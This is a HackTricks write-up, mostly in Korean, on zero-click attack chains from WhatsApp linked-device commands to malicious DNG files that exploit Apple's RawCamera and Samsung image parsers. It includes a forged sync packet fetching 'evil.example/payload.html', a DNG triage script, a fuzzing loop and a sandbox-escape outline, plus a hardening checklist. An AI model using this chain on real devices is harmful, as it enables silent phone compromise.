Zero-click Messaging → Image Parser Chains
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
TL;DR
- 메시징 앱의 multi-device/companion protocols를 원격 제어 채널로 취급하라: 프로토콜 필드가 신뢰된 장치에서 왔다고 가정하더라도 여전히 사용자 제어 가능할 수 있으며, 피해자에게 직접 재생(replay)되어 사용자 상호작용 없이 임의의 콘텐츠를 로드하게 할 수 있다.
- 어떤 앱이든 신뢰되지 않은 미디어를 가져오게 강제할 수 있다면, 잘못된 파일로 공유된 OS 미디어 파이프라인(RawCamera on iOS/macOS, vendor parsers on Android OEM builds)을 겨냥해 샌드박스 밖으로 피벗하라.
- 여기서 다룬 DNG 기반 RawCamera 및 Samsung 파서 버그는 구체적 사례지만, 전체 기법은 논리적 결함 → 이미지 파서 메모리 손상 → 기기 전체 권한 획득을 연결하는 재사용 가능한 청사진이다.
WhatsApp linked-device 명령을 통한 원격 콘텐츠 로딩
공격 표면 요약
WhatsApp의 “linked devices” 아키텍처는 기본 전화와 모든 동반 장치(데스크톱, 태블릿, 보조 전화)를 암호화된 구조화된 프로토콜 메시지를 통해 동기화한다. 각 메시지는 다음을 포함한다:
- 장치 메타데이터 (device ID, capabilities, feature flags).
- 작업 설명자 (예: sync chats, fetch thumbnails, render remote content).
- 임의의 매개변수 (URI, MIME 힌트, 페이지네이션 키 등).
Apple 클라이언트에서는 이러한 linked-device 제어 패킷을 처리하는 핸들러가 유효한 페어링이 이미 이루어졌다고 암묵적으로 신뢰했기 때문에, 영향도가 큰 필드(예: resource_url, open_media, sync_snapshot)는 최소한으로만 검증되었다. 따라서 악의적인 동반 장치 메시지는 다음을 수행할 수 있다:
- 전화번호로 식별되는 아무 계정으로 라우팅될 수 있다.
- 수신 측이 발신자가 합법적으로 페어링된 장치인지 검증하지 않았기 때문에 전송 스택(Noise protocol + WhatsApp protobuf framing)을 통과할 수 있다.
- iOS 클라이언트에 도달하면, 취약한 코드 경로가 백그라운드에서 자동으로 공격자 URL에 대한 HTTP(S) 요청을 트리거하고 응답을 숨겨진 WebView/media renderer에서 파싱하게 했다.
감사자용 실무 워크플로
- 정상적인 linked-device 트래픽을 캡처하라. 데스크톱/iOS 클라이언트에 디버거나 Frida 스크립트를 연결하고 복호화 후 핸들러(예:
LinkedDevicesSyncHandler::processAction)를 후킹하라. 디코딩된 protobuf 페이로드를 덤프해 사용 가능한 액션 타입과 매개변수를 파악하라. - 신뢰 경계를 넘는 필드를 식별하라. 엄격한 허용 목록이 없는
http_url,thumbnail_uri,download_url,render_html같은 매개변수를 포함한 액션은 원격 콘텐츠 프리미티브 후보다. - 악성 액션을 위조하라. 관찰한 protobuf 스키마를 재사용하되 공격자가 제어하는 필드만 수정하라. 실제 전송은 protobuf/Noise이지만 의미론적 필드는 일치한다는 단순화된 JSON 뷰가 아래에 표시된다 (실제 전송은 protobuf/Noise).
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- 피해자에게 전달. 제작한 패킷을 일반적으로 linked-device 트래픽을 전달하는 동일한 WhatsApp 서비스로 재전송한다(예: 수정된 데스크탑 클라이언트나 공격자 계정 키를 재사용하는 커스텀 Noise 클라이언트를 사용). CVE-2025-55177가 동작을 인증된 기기에 연결하지 못했기 때문에, 피해자 iOS/macOS 클라이언트는 메시지를 수락하고 별도의 UI 없이 즉시 공격자 URL을 가져온다.
- 요청을 계측. 강제된 HTTP(S) 요청과 내부 렌더러(WKWebView/ImageIO)를 관찰한다. 이 시점에서 WhatsApp 내부에 zero-click 웹 전달 프리미티브를 확보한 상태다.
자동 디코딩된 DNG를 RawCamera에 대해 무기화하기
공격자가 WhatsApp이 로드하는 내용을 제어하게 되면, 다음 목표는 iOS/macOS가 RawCamera 프레임워크로 악성 Digital Negative (DNG) 파일을 파싱하게 만드는 것이다. 임베딩된 <img>/CSS URL이 .dng로 해석되면 시스템 이미지 파이프라인으로 전달되어, WhatsApp 자체가 명시적으로 DNG를 처리하지 않더라도 RawCamera가 호출된다.
WhatsApp에서 RawCamera 트리거하기
- 다양한 렌더 경로를 커버하도록 DNG를 참조하는 HTML을 여러 방식으로 서빙한다(예:
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), 또는<picture>소스). - 로더가 크기 휴리스틱 때문에 조기에 포기하지 않도록 올바른 MIME(
image/x-adobe-dng)과 작은 프리뷰를 제공한다. - iOS 미디어 샌드박스는
CGImageSourceCreateWithURL를 통해 파일을 RawCamera로 스트리밍하며, 결국 취약한 디코더에 도달한다.
메모리 손상을 일으키는 DNG 제작 (CVE-2025-43300 스타일)
2025년에 실제로 발견된 버그는 일반적인 손상된 TIFF보다 더 구체적이었다: DNG는 내부 SOF3 컴포넌트 수가 TIFF/DNG 메타데이터(SamplesPerPixel)와 불일치하는 JPEG-Lossless 이미지 데이터를 포함하고 있었다. 실제로 RawCamera는 외부 TIFF 필드로부터 일부 버퍼 크기를 정하고, 디코딩 중에 임베디드된 JPEG-Lossless 스트림을 나중에 신뢰함으로써 버퍼 범위를 벗어나는 쓰기(out-of-bounds write)를 발생시켰고, 이 취약점은 iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025에 수정되었다.
이는 감사자들에게 “mutate random tags“보다 훨씬 더 구체적인 분류 규칙을 제공한다:
exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY
SamplesPerPixel과 SOF3의 컴포넌트 수가 불일치하면, 공개적으로 논의된 CVE-2025-43300의 정확한 primitive에 매우 근접한 상태입니다. 파싱 경로를 확보한 후 여전히 fuzzing할 가치가 있는 일반적인 인접 레버는 다음과 같습니다:
- 타일/스트립 설명자:
TileByteCounts/StripByteCounts를 현실적인 값으로 설정하되TileOffsets를 증가시켜 할당된 버퍼를 벗어나도록 지정하세요. - 하위 IFD 체인:
ImageWidth/ImageLength와BitsPerSample이 충돌하는 보조 이미지를 삽입하여 RawCamera가 작은 버퍼를 계산하게 하고 이후 단계가 공격자가 제어하는 치수를 신뢰하도록 만드세요. - Opcode 메타데이터:
OpcodeList3항목을 조작하여 행별 처리(per-row processing)가 공격자가 선택한 인덱스에서 동작하도록 하세요.
이러한 손상(corruptions)을 찾기 위한 기본적인 mutation harness는 macOS를 중심으로 구축할 수 있습니다. 동일한 RawCamera 코드가 macOS/iOS/iPadOS에 포함되어 있기 때문입니다:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.
Building the 0-click chain
- Linked-device packet → 피해자의 WhatsApp이 아무런 탭 없이
https://evil.example/payload.html를 가져오도록 강제합니다. - Payload HTML → 조용히
evil.dng를 참조하여 OS 미디어 스택이 확실히 RawCamera를 호출하게 만듭니다. - Malicious DNG → 정교하게 조작한 태그를 악용해 RawCamera의 OOB를 트리거하고 image decoder를 crash/own 합니다.
- Post-corruption exploitation → info-leak gadgets(예: 예측 가능한 heap metadata 악용)를 추가하고 ROP/JOP 체인을 배치해 WhatsApp sandbox를 탈출해 더 높은 권한 컨텍스트로 이동합니다.
모든 단계가 자동으로 실행되므로 공격자는 피해자의 전화번호만 알면 됩니다. 대상 기기에는 알림, 배너, 또는 프롬프트가 표시되지 않습니다.
Recent Apple parser-chain patterns worth reusing
This WhatsApp → DNG → RawCamera chain fits the same design pattern seen in recent Apple zero-click campaigns: find an alternate attachment wrapper that reaches a less constrained parser, then weaponize a file format that the OS eagerly previews.
- BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab은 이미지가 포함된 악성 PassKit 첨부파일을 보고했고, Apple은
Wallet(CVE-2023-41061)과ImageIO(CVE-2023-41064)를 패치했습니다. Project Zero의 후속 분석은 운영 측면에서 왜 이것이 중요한지 보여줍니다: 공격자는 단순히 parser 버그만 필요한 것이 아니라, 이미지 파싱을 정상적인 BlastDoor 경로 밖의 다른 프로세스로 이동시키는 컨테이너도 필요했습니다. 메시징 앱을 감사할 때는 명백한 이미지 첨부파일뿐만 아니라 helper daemon에서 백그라운드 미리보기를 트리거하는 모든 첨부 유형(.pkpass, 연락처 카드, 스티커 번들, inline HTML, QuickLook previews 등)을 나열하세요. - TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky는 악성 iMessage 첨부파일이 Apple 전용의 문서화되지 않은
ADJUSTTrueType 명령을 타격했다는 것을 보여주었습니다 (CVE-2023-41990). 실무적 교훈은 fonts are image-parser cousins입니다: 리치 텍스트 미리보기, 폰트 대체(fallback), 썸네일 생성 등은 앱이 “documents“나 “stickers“만 지원한다고 주장하더라도 parser 진입점이 될 수 있습니다.
되풀이되는 감사 질문은 therefore: which message types cause silent parsing in a process other than the obvious chat renderer? 보통 체인은 거기서 시작합니다. 의심스러운 파일이 생겼을 때 샘플 트리아지와 교차 필드 일관성 검사를 위해 this generic structural file-format detection page를 재사용하세요.
Samsung vendor image parser parallels
Samsung의 CVE-2025-21043 보안 권고는 Gallery, Messages 및 간접적으로 WhatsApp에서 사용되는 그들의 독점 이미지 파싱 스택이 untrusted media를 통해 도달 가능한 out-of-bounds write를 겪었다는 것을 확인했습니다. 익스플로잇 방법론은 Apple 체인과 유사합니다:
- 자동 미리보기 벡터(채팅 썸네일, 알림 미리보기, 공유 시트 등)를 식별하고 공격자 파일을 Samsung의
libimagecodec/libOneUI_ImageDecoder라이브러리로 파싱하게 만드세요. - OEM 라이브러리 업데이트를 디프하거나 RAW/DNG 파일로 파서를 fuzz하여 RawCamera 크래시와 유사한 메모리 손상(힙 메타데이터 클로버, 레지스터 제어 등)이 발생하는지 확인하세요.
- 이미 콘텐츠를 자동으로 로드하는 채널(예: 동일한 linked-device primitive, WhatsApp preview fetchers, 또는 Android의 push-to-talk waveform previews)을 통해 조작된 파일을 전달하세요.
공급사 파서에 OOB write가 존재하면, 이를 WhatsApp auto-fetch primitive와 결합해 Samsung 기기에서도 또 다른 zero-click 체인을 만들 수 있습니다.
Testing & hardening checklist
- Protocol validation: 모든 linked-device 동작에 대해 엄격한 allow-lists를 적용하세요. fetch/render를 요청하는 companion 명령은 디바이스 페어링을 증명(페이로드 서명)해야 하고 URL은 allow-list 또는 서명된 blob과 일치해야 합니다.
- Transport replay countermeasures: 각 동작을 per-device key에 바인딩하고 sender key가 알려지지 않은 패킷은 protobuf 구문이 올바르더라도 거부하세요.
- Media pipeline restrictions: High-level 앱은 승인된 MIME 타입만 허용하고 기능이 필요하지 않은 한 RAW/DNG를 명시적으로 거부해야 합니다.
- Parser fuzzing regression tests: RAW/DNG 파일로 구성된 corpora를 보관하고 업데이트 후 RawCamera/vendor decoders에 대해 실행하세요.
- Crash triage automation: fuzz 장비에
DYLD_INSERT_LIBRARIESsanitizers 또는 MTE를 연결해 공격자가 발견하기 전에 미묘한 OOB 조건을 포착하세요.
References
- DNGerousLINK: A Deep Dive into WhatsApp 0-Click Exploits on iOS and Samsung Devices
- Project Zero: Blasting Past WebP
- Quarkslab: Reverse engineering of Apple’s iOS 0-click CVE-2025-43300
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


